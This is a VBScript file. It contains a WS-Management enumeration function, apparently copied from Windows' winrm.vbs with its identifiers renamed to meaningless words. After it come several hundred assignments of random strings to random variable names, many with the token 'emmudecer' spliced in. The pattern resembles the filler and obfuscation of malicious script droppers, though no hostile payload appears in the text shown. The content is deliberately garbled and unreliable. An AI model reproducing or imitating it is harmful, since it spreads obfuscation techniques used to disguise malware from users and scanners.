private function fartum(marroada, alcaidina, volva, federar, symbiose)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if volva.ArgumentExists(NPARA_FILTER) then
filter = volva.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if volva.ArgumentExists(NPARA_DIALECT) then
dialect = volva.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not volva.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (volva.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR marroada.EnumerationFlagAssociationInstance
Else
flags = flags OR marroada.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and volva.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if volva.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(volva.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR marroada.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR marroada.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & volva.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (volva.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR marroada.EnumerationFlagHierarchyShallow
elseif (volva.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR marroada.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR marroada.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = alcaidina.fartum(federar, filter, dialect, flags)
if Err.Number = T_O then
set e = alcaidina.fartum(federar, filter, dialect, flags)
if Err.Number = T_O then
set e = alcaidina.fartum(federar, filter, dialect, flags)
end if
end if
ASSERTERR alcaidina, symbiose
on error goto 0
if volva.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = volva.Argument(NPARA_TIMEOUT)
end if
if(LCase(symbiose) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, symbiose
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,symbiose) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(symbiose) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
fartum = ""
end function
tUjLioKrmKfecSk = "UWRgtLWbZUGUbqc"
RncvLklLcKucifA = "PWKfmUoiWKiheZL"
WGxAUkhKkZvUekc = "pzWGmGtrLxpqcaG"
cuLZhxCmCjKoGLW = "hpLiBxGcWdUKGkO"
cvRxxbxNeGKcLvU = "OWIcbLnWJULBipe"
RLLiRGGZKGpWZfL = "nefcGLGzHufxLbp"
pWTnKRBGLeALmAn = "xWWRWazSipLaiiL"
WKaKNWcneiemoeR = "STkLpimcCeWZmWp"
NHHzipUTxpmLumW = "ncPUWKbKcnBiAWt"
kiWkLLRvLtPnemn = "WWrSkUeGxKRmNbc"
WQWTLpzaOObKaIc = "jSLzNWRkdKcbGHA"
itKeSqvWvUtLucQ = "WLSZOLouRiLbRAn"
cIxrnZWcLcpZHkN = "LakWprfjoPhOUaS"
CfmimhasNWkKqWO = "CLckaWKbZppWidL"
LLLilbLCBKaLWcL = "rBLZbPLcluoeWCG"
fBOUJLUWdLenKKr = "qTpgNPbiJLKoKKo"
GLjUiWUeuRuGxWK = "iPGAlbcJWGKlZBW"
ArnWLGugpeKKzLp = "bRHkGopkbKsOdWW"
piieKPWmhzixcLW = "UPfGkbLRIHpedAO"
ppPJWeTlWZAKZis = "WALvCpKGkUKPNkx"
KkWnlPWLUeZWtGB = "KcbWWWmBtPaNJeK"
vbkzfcUbkLSNRLe = "qxLaltdAtxiiLRp"
LeketbGOKRNaKfb = "LKKKxNWKALgqlLl"
mjBpLxmWkGLoCml = "LhGOkLakTpKeuik"
tUhfPaLRiZIbZPz = "cbcAmZxKknBRpus"
xKJScznkzhCdLWk = "huLAcAKiPWflGdP"
kzGiRINWWOGRGto = "LciGnuCQLjLdZOR"
RqZTWiPKmhpSBNR = "ueuLLkZcbjAkNGm"
WtcLAmLLpiBCmro = "hfOzZWAWkgRlWoJ"
iLhoenaZfzhxcBZ = "ROWiefhGpiQbtcW"
ccchteRKlSkpRKZ = "uPcBPNKtLcrrKkb"
kHgkPPLPSsbAmav = "LGkWiGudNpLLKKW"
SlnLGZbWSbWLzWf = "KLAfUKWcqUALAeQ"
NsWApcJGzsohoeG = "zpAqncKlvccKcci"
WBkkfQSStWWcJhK = "PktoeCePoSPIluC"
UlAkuCPLWKItWdc = "cilTgfLtLLxkmOn"
UGLuULGZLQQmhle = "ocGBZGfBKcLGsPW"
mphnnWmqhNoimAL = "LbLuzpBpiziiKpc"
PuhAildhACLmGza = "UIeWAeaWLsKPWLm"
KtzNaqLjNKWLASl = "QiizqGZUhTCCNaG"
LWWjeWkANkGTZNp = "ZLiNRAWbWqWNCcG"
GgZZIWLeWsqmqii = "NPxZfWbPcBpWAtc"
kWoLooGAGLlPzuP = "cWCuLkfABGQbSLG"
LxiCkZBcLcZacPm = "cZPeKGKTCPWLWWA"
RLhmLLLKfiKWBJm = "PbKBioAWbZStzKN"
zLiLLikPtzkNULi = "iqvcZUWCGrcaGPx"
ZuLLWBZicoKRIrQ = "OQkeeWlkGzSmNfL"
LGHbWgLlcbiZRfL = "vUukeKWJWKxpmOk"
WfkKZcRWmplpbki = "cZLWitolbdAfbWW"
GLZKiLZGBmxcfmz = "lWqvpUUWuRnhoWm"
jKQhWLLRfjWLukG = "ceHvfkkfiGlKdSc"
sbuoLKGiKhhLmua = "xfcazNTGSqrbOsH"
iGQIqLPHUWiPBZm = "bKNPUhPfeUeZKqa"
efWSIIWLPfKxZsW = "mcUWoGuNuAWLPuc"
pPCmGbcqLOWeIRf = "cCLheGbBLzBfkWR"
BWCWpLNzUniUKcb = "RfLWNCbGxbCKGWl"
PoRhNdIciKtSKab = "dGuZkciOzNifzoZ"
tIWeJZBtGhoxLUt = "ibZLOpsipbNxsLk"
fLWppBemmudecerilLclUm = "LfdRWPaeWcbCWKO"
rfogAUAWLkkkJtG = "shOZaccuKNKPNnL"
GkGiqkWLGTpoAWG = "kpKUkobdNWGGxCW"
hacmBjKlWiBiuZP = "LnoKqKKLqLUmesc"
jlQfUNHRLiiJcbp = "UPGTBWrxdRbLPhC"
KWZvjZefchBtkLm = "GieKPqiudLeLCAc"
dcvIpblKNdzTpoU = "jZpWiRKbuLLsLdL"
ASWicAUZdqBKGWu = "zLLpohPjkPLhLCl"
SLLhrdZZkGLhcnW = "esePUiaWNQvLiRR"
siKcBGGWcbkZAhN = "RKiZAxONGicceRI"
OnjpKPkznieZGle = "APLNcoNoiWvPWge"
hinLzOWUifRsLbx = "kBcLKbbmkccZkUh"
qcmGbKLKcUhKaWK = "IZiBKCNcPkQPcZu"
oKLlcemAJpLGWWi = "WWfHRKihTWcWpuK"
fInmGpulccOGzlG = "dhiuaGolBBcxAGW"
IiLLGxlnhlfLzcJ = "JLzZvBacLPapJKi"
TfWodKdLtLekfpG = "JoCckLSSpWhxGTq"
cAoLKijpqfHLGci = "SaWenxRTKzbSKkL"
ZaquLLzPNGKOBTK = "kLONWWUNflWniRN"
dvAmzWLcUkhtWGK = "ZNhcrKiLWkainfQ"
ZmsLZWPcliiZTKf = "zOxrHeLLGKiRPWm"
eAhGLcLJUxLLfpo = "RaKnGpBbdHAAIemmudecer"
iKiWlLKAhUvCeGs = "BLKPiGlWWZLmzoe"
iSAWKikLuiGpzRe = "QKeWiLUhOWcWZlG"
NhLLozWmjoBUpoB = "WiKsCGipmWZiWmz"
hoBfnLqGZemGkqa = "kLpLTioGAemLklt"
BKSpAcmItWBPchl = "bZLocKJUbhCuWit"
pGHBULkBKcApSPi = "jLtWsGoKbLBPGrc"
rnfPubpoakhzcix = "bnfzGmbnWUiisep"
hLLioxGhWmolbWe = "eTLKWvbAhGxxZWK"
hfGLxmkhiKAtsWm = "iCKhPfWaKWWLmkL"
nhLpmnLKtWgNjfC = "cWKdiiBLRUpZZWT"
RLKKGnKGcKbRWnT = "HKJLKUeWGxRKSPi"
WfWpkiLHeWWcxWo = "hhLxbGqdHWSoLHi"
pLbhlUeGKkiURZK = "IdKWJgRmtKKHkfs"
GeUPilbuZLGxxWo = "bkKciWWcSbezKUk"
jbRdNonBgpixoGW = "hWGrWxKPeoRWiqW"
GZZpQGxpAGLUPGZ = "uaPWbRiSjiiKGld"
aWGKpKLkRmLNWLB = "zmeWaAqSqxubvPc"
ZPLnBZeoLpCOxzN = "PxAWmLckZLubUbL"
kPWBWrWWkWsOtzt = "LLeTdhcWhlLmOdi"
KizcWnefcUhLCkZ = "ItgGLGiJsixGzJp"
CpBAoaNCkqdQKUB = "WeqeLAzxPWGcUOS"
WWvoPtgWOGlBUKg = "jOuLORUAiSRWoPh"
LZWWQjftnsmbfQK = "AKeLAadjLLNJWOq"
phAhWLhHkhcLLWC = "cOtzgQtWLGfWeLu"
LkpPlizLpRqHLri = "AqKfKqzzPPLxUjL"
GxxCGemCeNCAOWK = "GiWGiWWvaBKvIWb"
UJiKnRolNzuUQkm = "UxdibzKeULiWWPK"
IfLhGbIeGLAiLKl = "fPqLgteideGHcNu"
GLWmaLUUWObhvfc = "UKZWPnWiUoxRSKG"
oGekTOLndoiJzdi = "IAmLLclQZNxzmjc"
KZLsnLmnWzJxukW = "IRZeNsdWGsKLvAh"
tAWLKWNzcPPcxWi = "ibWAcLedWGoiAih"
LuamNzibbbzcUAP = "ueidOfTiqKWxmhG"
dPLWoAmkGKiWciL = "eiLpfPIZKNpGcGk"
zbpepOdLnReseIk = "BGtACmbkPqKlWOz"
pZjWzkmsWKiBPbG = "mxhkJvmonHNxPkJ"
ALklfoZOWOhlzNK = "fWbKikGxUvcZmLL"
qbUpzzLLpULLapK = "bBKWedJdKsuRucW"
gxinZaiqGmKpvLK = "WbGvuLNkbnLcGOd"
egbizUshKNWpGlL = "pLKimbhokUBpemmudecerL"
NKzLKbmmciObKil = "JWhtAmWdomuUhdq"
iLviPqxqGaHpitI = "eWiecLPiWdbciKq"
fOWchUsRTkCLZNi = "pARzIIcuzfLzxLA"
KzAWWLWWGALCxRC = "dCGkoAocbUfKULd"
axxOKbWiiaONkqk = "cWtWUfLuKfpiKfK"
KCeKiCcmvPWPWGO = "WWGZKAcBWbNpmgs"
tbIWLZpicGieiWt = "PtuPQUcZcUxOLxU"
ZbCmmOWUPxaqieG = "iIWrcuBLhUWccAk"
KdhpuWpiOvvPRKi = "KbWnWemmudecerhUkLvGWb"
KzHlWzWucckiKjW = "nnKLSctmQnGblcW"
ZsKRLazfGbkfUpO = "HqkWGidgWKUAKbA"
iLLohsqihLkiLik = "ZLvnWBzcZLUoJtP"
nURWakgfbhclLfU = "fRNlAtaGmnkGGLW"
iWfkoauuhKJakUi = "fULkhCKiZiGPeIf"
UAhTxcumhLkrZzK = "ALPkPcqblAAvKQU"
LGmKcScppIiHgdW = "tSlWfKtZhQOoPnB"
eJLonckmdteJila = "NduCimPshOUGmAm"
TnWqNeeUWWKGJLH = "GtfcShLIZchPBbp"
SpUbZLCiaAbZZdj = "KzjqUWLmWOcLhemmudecer"
ZWaLWqAQWftWeZh = "umpoLbsUNopxpKx"
SzWzLBbfibrdSsH = "JfnSaiiLRTiPWtR"
aiKcpbiKiuohrLL = "KtZOghtbbGnGWcT"
tkoKBsxLuWZLzLq = "LWUtHkLfLzOWiWR"
icPHxpfLObmbqKc = "rLkomktnlzcziCG"
cZtLLtBgWmqWBZn = "nOcLNqGiKqWUWGK"
nxCULAGfLpftBpT = "vxNUApZPKciGKLA"
RWZLcekoZseKdef = "PmlxILKsGPKpmec"
NlKRKAKLilAZcAR = "bGQrAqZvOWqHoLK"
OUioptcRimmtOaK = "fWNxHKaKhnKNUzG"
UULLLpGRWPidnCK = "UOcLAcckoNIccBL"
kbUUahWZWmLWKrd = "zUCzRLUdqxSiiKk"
pAWWeknfPqaczpK = "bbUWIGeUAJibuzm"
KkAxzCsfBcrjTLu = "kqavomNUAeWKBkQ"
hUmHpbdKmKUJGGi = "ZhgbNGuZGmLiuPe"
URiqcqdTtsBGWCe = "xxBiOxAvZklZfLt"
qGWGKiZkGUiLUlW = "kCBUfUoWWWvxikB"
bsRxuabmLUbGbKi = "WfUALdmLaWbZxkL"
kKAKkzNZHNfekWL = "IzKfemmudecerciWLemmudecerxLa"
AqQWkIaGoGbcSKm = "mZzskcTWLiCbicO"
KLxreZePCjptKOs = "LGUmLRIcNiLmLKu"
fZLoZjAzKGcvnKP = "ZlLqmmOCOLAJLSI"
aWKmWWRCZzWqAht = "dkSWxAKGPIfqqUz"
IhfHkUpguercoiW = "iWLLAiOWWKPmWOT"
mLbLOhGQNkudxAU = "GcLbfmkGuchbnqr"
WpPGsWhSmUWdKNk = "tniKckRWcWbozmh"
TCJmbLiAWgiLjCR = "WkGjuWdNcpLJiWc"
OiKbGWtozRKWjuO = "ppzxQWLGbcGSBaz"
ocefazgJkWnUbWc = "ehGItaKeWLAkfka"
NNzippUOhUIZpZG = "ILbnbRoKqjWhocz"
cLWncCfkUzzZmhg = "PhLkWGGikhzKOKo"
pCpkZRLmdLjikiz = "emmudecerzeiUZNoiiGGAK"
KkkKiipfknLfWCZ = "hmJmKmULnGfLPOU"
QAztKnziZcLWWnm = "iPilkGxOgaCckqb"
jzfKkKNKnWiGWeI = "AgbiLfBQCirGiqi"
igkeZcKULWWLLLi = "cNePjNuIApKLWnS"
dLjLidLeAWluZWZ = "LiZaiiNWCPiGgcf"
mfCfOomzmpUkozK = "edWNliWcxWuIZUB"
mfWWHNPgPNPvlLf = "LKmLLZebcKPLmmm"
LGmjnLLmcKBkWqL = "nLJWLGWLkhPLpHc"
LUqGuQjLWKLfLfi = "clGndWLLLKrKcIW"
eLucaLZBhPhWLkU = "fcAWiCHLUiACGeN"
gRKWApLiLUWLmWP = "iipdiLHmPkLUuRK"
oqtNpqWfcooLbpA = "nGRpUKfWPpeRfdN"
PeeKUULOuKmRxNk = "LKihKKCHUCLGSJn"
URcqoGGWOcCjZes = "btiQoqLKiPWTlNZ"
SWPvBWHtWWLdIou = "zWUiiLPWKPWIWTL"
LmPJZloihAkjbLK = "ZNcWzLdLAToNcLL"
OhtohzGqLLeuLWK = "WfnbpkzGzUmsQaU"
GtsJsWCtZemmudecerRemmudecerL = "nPjAWGubKoKuGzi"
kGWijeLJGcJhcmK = "GWLvLRaIZnotbUT"
KPmofgsALrrRmWL = "omWOtAWQmKPKKiW"
LLPosbuadbaGeGr = "aLGNWWUuhGLvCkr"
iWCNOZoGipWLPBz = "aRoHOUfiPitqKCB"
qrizIuWrxKUhGeC = "LqKekLlRULpmolP"
AiLitxemzANPOfG = "fLbhGtdLduKaKJJ"
NUpmiRspKeoPKkH = "KuKLLZqLPNKZkGR"
ImpdWomWvSOqeOf = "UeKLZCKUWOfOfiW"
ZNWeLCIlhqAjzLO = "cWGPHxNeWKUWfzK"
xhRqGcKHeGOiOWb = "toHGsSCSoUUKUzd"
tLWWJzlWLzNnnWl = "bZHiWpiGURhRKJe"
ZtbPCuoWCLjWnPR = "UBoviNfBuLLKcGW"
pzkoPhfRLqGmOLf = "hpLkOmRNPePzpnh"
LUpcZzBWLAIWAIK = "URGRtKbLiPqZRWj"
oRPtlCbKTietpuW = "tWcLfWLzNpfiGqc"
cxtaGLHKGqeHhpq = "CHGuzBLkGAPemmudecernZ"
zzcoGcmondaGbiB = "vGNfZbLkfLHomGG"
cAcnRPzLtpJtiUp = "bQWneeJKLebcUPi"
dCLWUdhOnWLrcAc = "WnbGWJLqkqKGOLk"
UPZtpcdNWWzqGeK = "nibfPKkIWBBdqpi"
ighizWeqNmomxAo = "mKIlpUxUiWcpJdd"
viGhQbftlxLbtZO = "ibjLqhLtxkLGqLm"
cZAKAKiGiRbLZoL = "bWKelriUoKLGsxc"
ZpkcWikoWApodte = "cpcLbGcUfodqLZk"
pBorifWaovSAWLx = "hlPUmiNWUdZWKij"
LWjifbRWAhKAoKW = "AdbWZuBkWqfGciW"
WWLohkWoKZkGGlA = "PfcLGBRuAKChovL"
LGdLcffUkmWWWjp = "KqiIuxAztnWeOnK"
OKonCKuocUCjqZL = "GtxOKdWaIiepLdz"
WUqteGpdLGKtahL = "PKGpNlfGLoWIkWh"
CLLNGeLWCRNihqp = "fiLWxlgjCxiKcPZ"
UioPcuSAZAUKkAp = "xdHSJutAomLTzvW"
WWmkdWhLmZxLaAd = "BQhldWUmOhOaZzi"
LhzoPfjiihNKKnm = "KkcZciKqmUPeQWh"
WNZWJWKdGPopAip = "jnGcpmWaZBaamRW"
nQLpTxnKWNnNUkb = "pNzfcLHCGmeAPWn"
buNKfuuBWAWLmKv = "azLenLZzGacJZZU"
tPiBhPzLGzLvKeN = "iUenKmcGPoLuxec"
lIAUbLeehHcKlgW = "WfOLUBalleWizio"
LdkmxpbzWWqKmqK = "WiAIQfiAiAKeWNK"
oOoKfULLdrmbaeg = "iWOKWzWGlcLLpPL"
KkbalIhKhxcjLQR = "fWLhfkGkKcLexcZ"
LHKCWPhfWngLLWL = "UipcUKLcxcdNKLc"
UWcUGLkleWtHpmP = "GWpzUZtxUWsLbNd"
AmrCHabhcjfUGzL = "SPLWpxsUWfWSNtd"
NIcUbOmLmlWiGRQ = "mhLKhWorZaLKWxL"
eziCzZoBBbpiLUK = "AQizGPLeNoKNKaL"
AOLRLGCgfWoWzoC = "tPkJLzGZpKqzlWP"
LrsLpPitLALkQiU = "ZLQWGGkBiRGPqrO"
flSLemWxdWLbWii = "zKjLzgWKZNWZqQi"
iLSmBumobiCGkhA = "ccbJcLKtcnQcemmudecerv"
UCaceNUcmGbUWLp = "TpKUpbbaibNWmUl"
cemmudecerLTeRRhfhheLG = "hLCeKmnNaGHkZPG"
nUdIWGiUOWWOhzp = "qfiLWiZLWLUWWKb"
NfWmLopkULbbidt = "qLPRNGcGPPUoWUc"
LiiiWAPKZoeLPRk = "KpWZxRuWcUZtqUo"
RcbzgRJicCpioob = "AokWKdLbLiKdecW"
BWCxtzcCxUOLLGJ = "opphKiLJnbiKlhl"
LqiiGkUqLWnmLuo = "IiLpkxLknHLkGRi"
BWNQPKPkWikaPcf = "iWGLWbkufhSofJB"
uAbnknfOxzZklUU = "taZhPKULWqzBcCq"
ZZctltBvKRqKOLW = "OaptoGLkZKLApWd"
uKoGALWllLWTnIe = "uRCtWKWLtZkKRjL"
LPhNuWeLpILocue = "hBalkZULqbLILii"
LUopNblfLzpPGpn = "WpQZGAnWpedreZA"
ciaRAigUzqbWCuJ = "ibZWvWnaLefhGGG"
IufZcnchPjkeccc = "LiUIbpKZzdZGocl"
pSWhOeWBhiWILei = "hmIiPSzWPGdUtUL"
vNTihpGZcSjgLNz = "GfJSLJNcUmexIBp"
nfWaobWLOkUnLmK = "CdNiokdGhQtUTUK"
QehLdKRkQkLhQZZ = "aWcZWWLOLOKRNuK"
cfidWzbLmlALLHb = "rWWikGcTknKfGPP"
eLTmPiKuLNtNeKi = "TafibiWkLifcUbW"
kLKWifPKhULKzxi = "pLmcWKWKUxedGoL"
okUhUqKWAzfpsOW = "izZBTLCmxPfniJk"
sWZezbfPALuzkCN = "mWpkuNGZWdpAotU"
iokbUWGechKWxOC = "oTWkWauRLLqUzRP"
KPQWknLGTLPWiqi = "NWUcKCLKPLPGnWi"
uLemiguefAKnAbO = "zPKLhbnWUOmzdGc"
shLdGzOPLcULGeo = "GaWIuUemmudecerRTKcsci"
bKZxiLLWLilULmO = "riiaWrCWKNxGJLL"
QKciQxWqsLnoWKL = "pbthtiPLGkufLuf"
pkcAfbGLHmpAkGm = "CbbmxRkbqCbpuii"
WidUlquuLiZUfOr = "mOiOGAWucdljGKz"
pZrUKOzAiZdLCfC = "iHhahKkvCJLWJUU"
jrBaWcjmiLWikoC = "miozmmpiasWKRkk"
icKCPhoHGAenPWc = "fmfRigscOGCWWOc"
CCNpLkWWOUUbcWA = "doozOWpZUOiILWK"
iNWppmSKAGItPai = "GqphdWvLBkNxLnz"
ZNiiviWPhUUiRnZ = "xCZLPKLTkkvmTLB"
eAWfKklfWmggGPW = "PRLAlBhQefUssSu"
mGaJWchhuCzqWUP = "cULBOKamQoWKOCl"
LefWOKRLLePiWfc = "LnWzUnlxajOmWJP"
zWdcLkeGlidBzCf = "WCPcchzinkWrhPh"
ZemmudecerWWBkaCLuKRemmudecer = "KtfLkAPKWhHrGUA"
LdzfGQtLiKiLNxj = "kLiKKLLWWieLqlK"
ockcGfRULWcALoL = "SzTLZcmfeGOAPCa"
WcuphGLWCWLUkCK = "ULRZQkfKGeGjiLH"
rQbAhULcRaicCWA = "ifnAiLLhLOLmzWR"
WWGZKdjOojRWWlp = "qUNqhBchWULiUhW"
AWthczbkreWxzLo = "cOKKpTLvQNOAosf"
ALGdOWGLizxgLLx = "pNKvURmKOcWJRap"
kWKoKzKfUadLeAi = "cuUZAkoRcWKPLAI"
QxGTOtCGibxvLal = "buiZbOGpHuGcaqm"
PTzLNcnvNrUWLTL = "WmfheLcANWKGbeU"
czQTWUKSnWLdziU = "itRipoKoHlPqZWk"
qmqaokLLiauuPAK = "okoccGCNfUZPcGB"
qLuWWLmPAfTxLUh = "WeuqUtQZUHkGGLj"
bkBmKWPhjiZchAR = "WUvNRhLBzLGoLGU"
aLiRWPJLLSLgOKQ = "xhxUnTiiGKbKrbA"
zUgUKKcWhOKRbWc = "ITWZCbfLCkGZKLa"
GWzbpKiiKRWlkKb = "KLqWAekCPZRkqhf"
KiWKKhLbCzkiuPi = "BueKdOUikKGLfkW"
UkvlvaUOuPQWbAk = "WvLcqPoNnLbhokg"
GJxqlcPozfWKCJO = "LuAZLceJUGZLWRs"
GaGPOiKGcRcZvAn = "GcuspeekUterPWC"
zuWecUbWAGiPzoc = "WaGlLbHUGCZibWP"
cGWLtiiLObWAcpA = "PUzWbCKNGAPxAWL"
podaBpcnqNkkbCo = "htnWSTLGueBlHLl"
QAPRiuaWgcrAmRL = "fulKKgioWPfZhWU"
AZaepmLUmOcWxjW = "kdGWCUbiceicalO"
lflieLLLcOtxWKp = "LALzLOLWoaZzAbW"
KzURICvePqbgTOZ = "GCjnWmRhLdWiWLl"
cRmkHdfKpqGvdzN = "plNoWOtLUGWcoLi"
kZmkmLvoGUfiLpW = "kKtihONCatNxlNa"
luaAhJednfRqaen = "cbCbIzLeKqenTlG"
NBrKmoWfOloOTWa = "KiiGZKZosiqPeiv"
etWChzRiheNbKWa = "PfcocUHpRiPWOcS"
bTJeQWhRpCiaGWL = "mtLcbjhCWWlZnuh"
lWOGWkAcpbizzGU = "CAZSorGGPrKfrUi"
WlWLiLohqmQHqin = "dnxficcOqmupiLt"
bLiWCLLKJLvooSK = "uNPhKCHbWNWnmze"
oLpkWHuWzLuaAhL = "qULkoxAohWAclka"
oiZkzioBoZkbAid = "IkuWNohKqQRKdLR"
HbqNqGeZzLeLWiL = "mutRmkLfqiLUhpt"
ArUzWWiTPGILWqs = "APfWboUiQBfWKRW"
nAbmktmRbgLKBLK = "PizkSzkOTkIdCNm"
eBGcxvtLWNiQqlR = "RTuPJsPKKSlZcdP"
AkBprAUtWfGvKtb = "UplTJLUnfUzSvqb"
kLpzKLxisUkRLuh = "UcWxmaiKLjgmHaJ"
WCOKUIppNzWmdLh = "frmBtkjcbPvkAPk"
AAljmGGTAomqkSN = "GLWPPnLmNvNmkKi"
kGLlLmbxnNgKium = "LeWOPLpGLbnaRhK"
ccGprqCvUbWGWbd = "WtmvLKlRahpKbOt"
KiAObaOzLRpWsKi = "oZALUZBPLWZkWxt"
rWozRhWLWCLeOWA = "dUtoZkbKpOAKKKL"
NqWpCGOkhUZsLcr = "qifxjzLOqQWkLkd"
prkbKremNvKhJlZ = "fdZmhiZAbWUJNWR"
cKOLiacUzULnOiW = "tUetWPWARLLziGZ"
kAULkkPzAkURkLC = "mluJWjnsKZzlWWK"
RbhKbceNaWsRUzL = "kBoZKWALKWhcblL"
zksLCWRcUKiKfGo = "LAbuAOvjiUKmNgW"
tUiKQqlbTaePmnm = "WdooQqNmipOrxNk"
hCKeCiZCAOWGlbP = "CCfbjWkhhhLWhWA"
WhcLIzkikGChbWd = "gOHkkHWWLvZuuuc"
mfKAZGtLbGLlIpL = "aaZcziLSGneKItO"
ipGlrbaWLOLGLiJ = "bsmWAlickpoOLLP"
LWWvpWQLKiLaLRa = "ulAoiLLcfLWWioo"
nCAKWaHGpLemmudecercLS = "euJLCPmBKGGKWmL"
ULxeUCzhsWdWbLW = "fJOpZZKhtKhioLA"
tGKUAAchNGcBBBJ = "kzLpLLfbOKLZiWT"
hPPlGCPhNsdSfWi = "LqoaLeWucOGROkK"
rKGSescLutxKkel = "PaeiWKAxefTmWeW"
abLIcLieKKGLGWU = "ouLfLKZirGcBNHo"
tmfLLKUoLOhZUnp = "ZGjLWKSCpieqWkk"
cUKkGiiRfLCckUB = "ePcLKlkiRiGcGko"
LGRZLWUeBLNOKcK = "oKNUOvzhAlkCnUi"
WBiKThpTxemmudecercGGW = "PTmmfmbibIZzhemmudecer"
cixuLLGhZHnAjId = "RpZutLliKGpSgOe"
SeWgSpPmRNKZQCC = "WoxAhhGLcrBNfkN"
obejhpKQkUhnoqz = "xiGUppLLbRLfxqK"
xcpaWofATlLUzLl = "BmWOWLmPjGQRRcx"
emmudecerikLWiQWdPPdIN = "WWtzOpeZZRKJmeH"
bIlbLaTWCbhKfRR = "qGGucWAGkpcZZkL"
BWcZGuqRdmLqLTp = "AGcRgALlddGbGeW"
ccpbdNiKhcWjtnm = "omGRhpOZKIjrbdN"
bLnUhAbLZLdxCec = "hRdCJBpLOPGUJhB"
dxGkinofZSPmWWd = "uLLLKeeaCLKOWWB"
WxpZLOZcaxAfvbN = "evOizprmKLLatKf"
cibNvkWqUhuqKmx = "WUxBNmqWLLULbSN"
WekmCllHeKqGtbU = "xsUOtGofAhGpKxL"
uUhUiGnLlBLTZaA = "mNPLcAiCWoBKueL"
KLoiRLAULbkWhNK = "UedqvlujULWKLWc"
fpePWNdrGWiuULb = "BLNniSLkiBktxpT"
zKifGUmigCABxbq = "NOIliLNfCiutPWP"
KZTfOemmpBfSmoL = "KhahekozanLxnoA"
WhkGhKdhhpnKLak = "mbmnzoWALhHaKWd"
zaUKivcWhUapKnA = "bkPxtekAacWjAWt"
nKclZuZuCfWlhZc = "bifKGWcmfUpSbbv"
COBfLWapWWGiULp = "chtobNvilLiNCkL"
bkCThdCeoGBpPLe = "GKxrKujKhmLfgbU"
mPALWtSkbBCZvfW = "PWaUcKacckmWnAc"
hLLlfiKcNAukLac = "irpivLzonTLLlWW"
LtvUfASkpusZoia = "fKJmcdLlvLocqkf"
ZrKLpWUdHqLtIid = "iZnLLLutlvKgOvn"
lCaHsHnmbqCLZWI = "ULeOBpWGkxUcjLi"
WWKbdzRqWRGqnmb = "tZKioKNBiLKbWfG"
AidWBcNcNWWazcb = "eocoaztfuBSiKqG"
iQkPUcixzbLdKbn = "hKmCLAbWLLLcPAz"
LZLloWcWkfzWOon = "rkcGkqeZWSpcGqh"
ebkmmuHBcfKHkbs = "UAKiLikLObiTWmT"
PffNOiUignGddnk = "okJkWlLLfPZcghf"
KOBtWkmCWmUWcLi = "WuQBWZcGoLkcGzf"
KWWqpGNpiKbhfaW = "zGLLcpmWKlzcNKS"
AUWiqmiUAzkGqmg = "ZgsRdazUlKmiiUL"
UNWKWGLnsKHiKbK = "OOpdqUgkemmudecerRRhJK"
xNeLNAKfpmoNWgL = "izZjGqZnLAozLLW"
iKimLbBxLWKNatj = "LWAegdcGxbLoeLi"
LNpUWiZeISKASCe = "GUePAatPAqcamfT"
GuikolGUKLhKkPU = "bgNhLkomKmkhBuA"
KGUpeAWgLkaiWkW = "vWifWcLuihLWnKi"
pbiSUcWcALZdfPd = "ideKRJLWQjWWWWL"
kWhWJkezUfbcGKo = "mKnKUaKmWzHBLsW"
jdhWakpmsqWPKRA = "obWqLHcePKmANGn"
GWWeLKnPQAfBcAL = "fdhhKSzAlLAUkGz"
pUAvGxLAoLtcikW = "UzKkqKfzAtLNsGu"
cGjWKbcLoJmpQpq = "uULjAKLKpLcGWod"
GWGCZGerKNWoLfc = "zecWWZOpaLRschz"
